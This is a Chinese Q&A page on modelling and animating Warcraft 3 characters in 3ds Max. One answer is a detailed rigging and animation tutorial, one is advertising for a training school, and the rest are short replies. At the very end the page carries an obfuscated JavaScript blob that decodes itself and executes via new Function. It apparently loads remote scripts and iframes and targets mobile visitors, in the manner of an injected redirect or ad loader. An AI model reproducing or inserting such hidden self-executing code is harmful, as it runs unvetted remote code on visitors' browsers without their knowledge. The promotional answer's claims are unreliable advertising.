用3ds max制作魔兽争霸3人物教程

2025-02-22 20:48:53
推荐回答(5个)
回答1:

  大腿露出来了!!!当然了,我们只进行了人物的骨骼连接,并没有引入布料碰撞的功能,游戏也不支持(天使Shininglore中不就经常看到这种穿帮么……)
  【小强篇】
  在进行游戏角色动作调节前,先了解动画的基本原理
  通过关键帧的PoseToPose,软件将自动生成动画补间,产生我们所看到的动画过程通俗的说,就是摆好一个开始姿势和结束姿势,如何完成这个过程,就是我们要关注的动画重点
  单纯的设置关键帧,会增加不必要的工作负担,且效果不尽如人意为解决这个问题,在动画关键帧之间产生了动画曲线的概念,这也是数字动画有别于传统手绘动画的特点
  我们简单了解下三类动画曲线:
  Bezier:贝塞尔曲线3D动画中最常用的曲线,可通过关键点上的切线手柄对曲线进行曲线过渡调节如小球落地运动,人物走路缓冲动作等,是最灵活动画曲线编辑方式3dsMax中,如果直接对“旋转”进行总的控制,而不是分别对XYZ旋转轴进行控制器添加,则Bezier将转为EulerXYZ(欧拉旋转)的形式
  *虽然魔兽三插件的帮助文档说支持Bezier的曲线方式,但经过测试,证实无效(或者还有特殊的套用方式?)因此大家没必要深入研究贝塞尔曲线的用法了……
  Linear:线性,在关键点之间以直线进行连接的动画过渡方式,常用于机械运动其实在自然界中,很难看到一直保持匀速运动的物体
  TCB(Tension, Continuity, Bias):曲率,连续,偏移这是早期3dsMax默认的曲线方式,此方式类似贝塞尔曲线,不过它是通过参数设置关键点间的曲线过渡,而不是切线控制手柄
  现在就给我们提供了两种选择
  如果你想制作机械动作,或者忽略速度细节的角色动作,可以使用最简单的线性编辑方式;
  如果你想更自由的编辑动画过渡,制作顺畅的角色动作,那你需要选择TCB方式,即TCB动画控制器
  动画控制器:在3dsMax环境中,只要物体上存在有关键帧动作,都表示其包含了动画控制器也就是说,在你设置关键帧的时候,默认就已经添加了动画控制器,我们只是在特殊需要的时候才会对动画控制器进行切换
  接下来是在3dsMax中的实际操作,当你掌握以下操作,你将对3D骨骼动画有所了解――至少可以成为游戏玩家中的小强
  1. 调整模型将角色的左右动作保持一致,便于骨骼绑定,因此我们要删除一边的模型,然后再将另外一边进行镜像
  2. 模型成组选择模型右边的手臂和腿部分别成组Group->Group,在右边的Hierarchy命令面板下,点击AffectPivotOnly按钮,移动组的轴心至世界坐标系的中心(快捷键:s,吸附到网格)
  *操作完成后,记得再按一次s,并将AffectPivotOnly按钮弹起,取消轴心移动模式
  3. 镜像模型选择手臂和腿部组,执行Tools->Mirror,CloneSelection(克隆选择)设置为Copy
  4. 解组因为游戏需要模型块组成关节动作,所以我们必须将物体分离至网格级别选择所有物体,执行Group->Ungroup
  【插入说明】
  所谓骨骼,就是控制模型动作的一套连续的控制器,就好比是人体的骨架控制着皮肉魔兽争霸3插件支持3dsMax内置骨骼Bones和帮助物体Helpers,以及几何体转骨骼功能不过个人觉得,Bones并不能算作被支持,因为最终仍需要定义Bones的属性为Bone(很别扭吧),插件才能识别网上“几何体转骨骼”的方法有相关教程,但作者并没解释具体原理,并且此方法本身并不是“比较随意操作”……我这里将以Bones骨骼进行
  Bones骨骼有如下优势:
  具有直观的父子层级关系,且不用对物体轴心进行逐个对位,创建动画比其他方法快速;
  骨骼编辑模式下编辑骨骼形状,能同时改变关节轴心,很容易的适配多个不同角色,这是“几何体转骨骼”不具备的;
  对应游戏引擎,调用头部及胸部的骨骼,可获取人物朝向(游戏界面下方的人物头像);
  消耗游戏资源较低,动画调节方式灵活
  不过相对Maya,3dsMax的骨骼系统(不是CS插件)很不稳定,编辑不够灵活,定形后的修改容易出现轴心偏移的异常――如果可能,我还是愿意使用Maya的骨骼系统
  5. 编辑环境为了方便的进行模型骨骼对位,我们先要设置模型视图穿透效果,然后冻结操作全选模型,在Display(显示)命令面板下,勾选See-Through(快捷键Alt+x),然后点击上方的FreezeSelected冻结选择
  6. 骨骼创建在菜单栏中,执行character->BoneTools,开启骨骼工具窗口,点击CreateBones按钮(也在右边的命令面板创建:Create->Systems->Bones),在场景中点击并移动鼠标生成骨骼关节,右键为结束创建并添加个小骨骼-可以在调整好形状后删除
  7. 绘制步骤人物骨骼以盆骨部位的骨骼为最高父级物体(即RootBone根骨骼),再建立其他子物体,
  (1) 侧视图中(快捷键:L),在盆骨部位点击,向上移动并继续点击,沿脊椎至头部生成三段骨骼;
  (2) 前视图中(快捷键:f),在左肩膀处点击,向左移动并继续点击,至手掌部位生成三段骨骼;
  (3) 侧视图中,在左大腿根部点击,向下移动并继续点击,至脚底生成三段骨骼
  *3dsMax对Bones有很多限制操作,尽管它不会阻止你犯错如果需要在创建后对骨骼大小进行修改(3dsMax默认创建的骨骼超大块……),可以在Modify命令面板下修改骨骼的Width和Heigh;如果要修改骨骼位置,在BoneTools(骨骼工具)窗口中点击BoneEditMode(骨骼编辑模式),对骨骼进行位移,以满足效果需要――但如果此时所选骨骼上出现多个分支,将会出现异常,因此在保证以上(1)(2)(3)步各个对位完成之前,尽量不要进行骨骼连接;骨骼连接成为整体后,对骨骼的旋转进行动画设置(移动骨骼相当于旋转其所在的父骨骼)尽量不要对骨骼物体进行控制器缩放操作
  (4) 镜像骨骼3dsMax5没有专用Mirror(镜像)骨骼的功能,而镜像偏移的计算又显得麻烦,因此我还是使用老方法:框选左边骨骼->成组->移动轴心至中央->镜像->解组
  (5) 连接骨骼先选择胸部骨骼,然后按下BoneTools窗口下的ConnectBone,这时在场景中的光标将有虚线拖尾,在肩膀骨骼上点击一下即可将骨骼连上盆骨和腿部的连接同样操作
  *先选择的骨骼会作为父骨骼,后选的为子骨骼现实意义来说,就是胸部带动手臂和头部运动,盆骨带动胸部和腿部运动(尽管人是通过脚来走路……)
  (6) 检查骨骼对位在前视图,侧视图,顶视图,以及透视图对骨骼和模型进行观察,如果骨骼位置出现偏差,在BoneTools(骨骼工具)窗口中点击BoneEditMode(骨骼编辑模式),继续骨骼进行位移修改的操作
  8. 模型绑定要通过骨骼动画来带动模型的动作,需要将模型和骨骼之间建立起连接;但这种连接并不是传统意义上的蒙皮,多数游戏并不支持点权重的骨骼控制因此,魔兽争霸3中的“骨骼绑定”,其实也只是将物体作为骨骼的子物体(这就是为什么一直保持角色为多个物体组成的原因)在Maya环境中,可以很容易理解父子层级的关系,3dsMax概念太多……
  (1) 在视图中右键,选择四元菜单中的UnfreezeAll(又闪黑屏了……我郁闷啊),解除角色模型的冻结状态(见步骤5);
  (2) 点击软件左上方的工具按钮SelectAndLink(选择并连接),选择骨骼对应的身体部位,然后再选择骨骼,连接建立时骨骼物体会闪动一下(先选的物体为子物体,后选的物体为父物体,与骨骼连接的操作相反);
  *其实做到这里,有些失败之处:骨骼被模型遮挡无法选取这里就顺便提到些善后的技巧:先隐藏骨骼(在Display面板下的Hide by Category中勾选Bone),然后框选全部模型,勾选DisplayProperties下的Display AsBox,然后再去掉Bone的勾选将骨骼重新显示现在可以方便的进行选择连接了 (3) 摆个Pose测试模型绑定效果因为模型遮挡了骨骼的选择,因此只有先把模型隐藏起来,对骨骼进行动作设置(3dsMax似乎没有Maya那样的物体优先级过滤选择),然后再显示物体如果真想避免这个问题,只能将裙子再划分为几块,单独对这些面进行动画设置,魔兽争霸3的引擎会将这些模型进行临近点的融合过渡
  9. 优化骨骼
  (1) 首先,要对骨骼进行重命名因为魔兽骨骼规定名称必须要有bone的前缀,因此我们统一改为bone+数字全选骨骼,执行Tools->RenameObjects,在弹出的小窗口中设置如图,点击Rename按钮批量重命名
  *魔兽争霸3对骨骼有特定的名称标记如bone_head,bone_chest……名称作用在游戏物品编辑器中再讨论,这里先跳过当然,你也可以先把名称规范好
  (2) 选择单个骨骼,然后在Motion命令面板(小轮子符号)下的AssignController栏,选择Rotation,然后点击列表框的左上方的问号按钮;
  (3) 在弹出的AssignRotationController窗口中选择TCBRotation(盆骨的Positon同样),给骨骼旋转属性添加TCB控制器;每段涉及动画的骨骼都要用此方法添加TCB控制器,否则动画无法被游戏识别 【小技巧】3dsMax对物体默认是使用TCP控制器的,因此我们对模型直接进行关键帧动画,游戏可以识别;但Bones骨骼默认为EulerXYZ(欧拉旋转),因此需要进行更改为了在以后创建骨骼时自动添加TCP控制器,我们先在场景中创建一段骨骼,然后在AssignRotationController窗口中选择TCBRotation,按下TakeDefault(设为默认)按钮设置为默认;接着删除骨骼,再创建新角色骨骼,其控制器就为TCB方式了,不用再逐个修改控制器的方式
  PS:为什么在开头创建骨骼时不说?因为我知道大多数人不会老实看教程的,为了让你们记忆深刻,拓展思维,以此类推,举一反三,五体投地…………
  10. 设置动画
  实例:跑步(魔兽中人物都是Run……)
  (1) 在第0帧时,全选所有骨骼,按下SetKeys(那个大钥匙图标的按钮)按钮设置起始状态关键帧; (2) 保持全选所有骨骼,将时间滑条用鼠标左键拖动到第5帧,按下SetKeys(那个大钥匙图标的按钮)按钮设置动作起始关键帧;
  【插入说明】既然是中级教程,那这里就解释下操作的意义吧魔兽争霸3将第0帧定义为模型关节点融合前的初始参考,因此我们在第0帧设置关键帧使骨骼保持T字状态,同时也是为了在以后的动作调节中随时调用模型的初始状态;游戏中1秒等于30帧,而设定的跑步动作将使用15帧,为了便于计算,我将第5帧作为动作开始
  (3) 启用AutoKey(自动记录关键帧)模式,设置跑步的初始动作因为使用了骨骼,除了旋转骨骼,你还可以通过子骨骼的移动操作来调节上级骨骼的旋转
  【小技巧】全选骨骼,在第0帧用鼠标右键拖动时间滑条至其他帧,可以将第0帧的模型状态进行复制
  *不知道是3dsMax5的问题还是魔兽争霸三插件的问题,有时候骨骼动画在调试的时候会出现奇怪的抖动现象,但在游戏预览器中则动作正常如果在动画关键帧的制作过程发现有异常动作,可先到游戏预览器中观看再作修改的决定
  (4) 因为这不是严格的3D动画制作,因此只要符合动作表现,我们可以任意进行骨骼的多向旋转动画调节就看个人的感觉,这里不再啰嗦相应的,在TrackView-DopeSheet 中,设置Notes标记为第5帧和第20帧
  *魔兽争霸3的角色动画对TCB控制器有一个规定,就是旋转90度内必须设置一个关键帧,否则将会发生动作翻转,如果你设置的动画中出现了负向大翻转现象,最好的解决方法就是在关键帧动画之间再设置一个关键帧
  (5) 动作调节流程图:
  调节腿部动作->调节手臂动作->调节盆骨高度,设置起始帧,中间帧和结束帧,然后在中间帧两边添加动作过渡帧,强化动作细节
  动作调节的时候,一定要从正侧顶三个视图来规范动作的美感,然后在透视图下预览效果跑步动作的要点就是要注意人物重心上下位的变化以及人物腿部接地时的变化
  11. 动画强化
  原本想进行动画曲线的编辑操作的,但3dsMax5的曲线编辑功能实在不敢恭维,因此省略(TCB控制器的旋转动画在曲线编辑器中不显示)仅说明TCB曲线参数的意义,有兴趣的玩家可根据自己的感觉进行参数调节,以实现动作的各种缓冲效果不过一般不需要进行修改
  选择骨骼,然后在Motion命令面板(小轮子符号)下的AssignController栏中选择Rotation,右键选择Properties,弹出一个属性小窗口:
  EaseTo:设置接近关键帧的曲线速度,也就是关键点左侧的曲线速度;
  EaseFrom:设置离开关键帧的曲线速度,也就是关键点右侧的曲线速度;
  Rotatin:勾选启用,可进行大于180度的旋转动画,默认为关闭如果制作动画出现转动异常,就启用该选项,一般都会勾选
  Tension:控制动画曲线的弯曲度,数值越大,连线越接近直线(右边的曲线图形会有相应的显示效果);
  Continuity:控制关键帧的切线性质,默认的数值25是唯一保持曲线连续平滑的数值,其他数值将会使曲线产生不连续的突变;
  Bias:高数值使曲线被退离关键帧(线性方式接近关键帧,跳跃方式离开关键帧),低数值将是曲线被拉近关键帧(跳跃方式接近关键帧,线性方式离开关键帧)
  *如出现关键帧动作之间出现了意外的反复运动,可将两个关键帧的Tension值调为50
  12. 其他动作游戏角色的各种动作表现,均是通过同一模型上的动画标记进行识别的,因此我们可以在一定间隔内继续添加动作关键帧
  实例:攻击动作
  (1) 在与上一个站立动作最后的关键帧标记相隔20帧左右,设置一个攻击动作的初始关键帧;
  (2) 攻击动作一般不设置无限循环,因此要在标记中增加NonLooping的字符串进行动作的中止
  *如果有多个攻击或者站立动作,可以设置“Rarity+空格+数字”进行随机选择,Rarity后的数字为1-9之间,数值越大出现几率越小;Walk跑步动作接“MoveSeed+数字”表示移动速度,一般设为200-300之间
  13. 设置属性Bones就是骨骼,但魔兽争霸3的插件并不认识,需要指定Bones为Bone在系统命令面板(最右边的小锤子图标)下,点击左上角的“more..”按钮,在弹出的窗口中选择“UserPropertyEditor”;全选骨骼,在GeometryProperties栏下的ObjectType中选取Bone 14. 问题修复
  现在开启插件的预览器,会提示如图:
  这是因为在Key关键帧的时候,我只将旋转的控制器设为TCB方式,而Position的位移控制器还没进行替换,且Key了多余的关键帧首先要在DopeSheet中删除多余的关键帧,如图:
  除了重心所在的盆骨发生上下变化,其他骨骼是没有位移的(除非你的角色脱臼了……),因此选择多余的帧(全部蓝色和除盆骨外的红色框),按Delete键删除然后替换盆骨的Position为TCB控制器
  *这里再次提醒,为了减少后期不必要的麻烦, TCB方式的控制器应该被设为默认控制器
  15. 模型动画质量当我们的模型进行动作时,我们会发现关节部位发生严重的穿插要减少此现象,我们先隐藏Bones骨骼,然后选择关节部位的模型(如胸部+肩膀+手腕);在MeshProperties栏下,勾选Connected,并把ConnectDistance设为2现在再次预览,会发现模型效果好了很多
  *Connected属性是设置第0帧时,一定范围内的不同模型点将在渲染时作为连接的点来计算范围不可设置过大,否则整个模型就像一滩烂泥……
  16. 导出游戏专用的模型及动画信息选择File->Export->WarcraftIIIModel(*.MDX,*.MDL),“游戏文件管理”待下次教程再继续
  素材文件下载(“其他上传区”文件夹中)
  总结:从以上教程中,你会发现很多问题都是在没了解基本原理时发生的我没将完美流程展示,目的就是让大家能学到更多技术点,如果仅仅是按部就班的进行,后续问题将更多当你完整的经过了以上操作过程,在你个人独立进行的时候,相信也就不会存在这些常规问题了 很抱歉,因为您在网易相册发布了违规信息,账号被屏蔽被屏蔽期间他人无法访问您的相册
  去帮助中心,了解如何重新恢复服务

回答2:

你可以先去【绘学霸】网站找“3d建模”板块的【免费】视频教程-【点击进入】完整入门到精通视频教程列表: www.huixueba.net/web/AppWebClient/AllCourseAndResourcePage?type=1&tagid=307&zdhhr-11y04r-220495730

想要系统的学习可以考虑报一个网络直播课,推荐CGWANG的网络课。老师讲得细,上完还可以回看,还有同类型录播课可以免费学(赠送终身VIP)。

自制能力相对较弱的话,建议还是去好点的培训机构,实力和规模在国内排名前几的大机构,推荐行业龙头:王氏教育。
王氏教育全国直营校区面授课程试听【复制后面链接在浏览器也可打开】: www.huixueba.com.cn/school/3dmodel?type=2&zdhhr-11y04r-220495730

在“3d建模”领域的培训机构里,【王氏教育】是国内的老大,且没有加盟分校,都是总部直营的连锁校区。跟很多其它同类型大机构不一样的是:王氏教育每个校区都是实体面授,老师是手把手教,而且有专门的班主任从早盯到晚,爆肝式的学习模式,提升会很快,特别适合基础差的学生。

大家可以先把【绘学霸】APP下载到自己手机,方便碎片时间学习——绘学霸APP下载: www.huixueba.com.cn/Scripts/download.html

回答3:

这个 首先问下子 你会不会用 3DS MAX 这个 软件呢 如果 你不会的话 这个 ...... 你的问题 也就没有意义了
如果 会用的 话 还有 什么不懂的地方呢 做出来之后 导入到 war3 里边就是这样子

这个东西不是 你想学 网上 或者会用的人 就能一下子教会你的 就像什么 专业啊 就像 3DS MAX 人家在 学这个专业的 有老师教 也要一步一步 从网上学到 自学很困难 骨架 这个东西只是皮毛而已

回答4:

先学3dsmax吧。。想一步登天。。

回答5:

www.czjb.uuu9.com这里有
自己找

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();